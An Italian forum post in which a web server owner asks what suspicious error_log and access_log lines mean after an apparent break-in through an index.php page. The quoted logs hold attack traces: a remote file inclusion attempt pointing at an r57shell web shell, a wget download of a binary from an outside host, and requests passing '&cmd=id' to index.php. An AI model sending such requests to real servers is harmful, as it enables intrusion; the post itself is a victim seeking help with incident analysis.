Sembra che il mio server sia stato violato a causa di un baco su una pagina index.php di uno sei siti ospitati.

Qualcuno sa dirmi cosa vogliono dire queste righe del file log?
===========
error_log

sh: line 1: sysctl: command not found
sh: line 1: sysctl: command not found
mkdir: .x: Numerical result out of range
sh: line 1: cd: .x: No such file or directory
[Sun Sep 03 12:17:10 2006] [error] [client 82.49.79.35] File does not
exist: /home/web/www.avabvv.it/website/images/bg.gif, referer:
http://www.avabvv.it/main.php?PAGE=h.../r57shell.txt?
sh: line 1: sysctl: command not found
sh: line 1: sysctl: command not found
sh: line 1: cd: /var/tmp/.x: No such file or directory
--12:17:40-- http://gh0stcrew.altervista.org/httpd
=> `httpd'
Resolving gh0stcrew.altervista.org... done.
Connecting to gh0stcrew.altervista.org[207.44.186.19]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 219,325 [text/plain]
httpd: Permission denied

Cannot write to `httpd' (Permission denied).



access_log

82.59.203.174 - - [03/Sep/2006:18:56:11 +0200] "GET /index.php?
ass=http://busca.uol.com.br/uol/index.html?&cmd=id HTTP/1.1" 20
0 3100 "-" "-"
82.59.203.174 - - [03/Sep/2006:18:56:11 +0200] "GET /index.php?
ass=http://busca.uol.com.br/uol/index.html?&cmd=id HTTP/1.1" 20
0 3100
=======

Grazie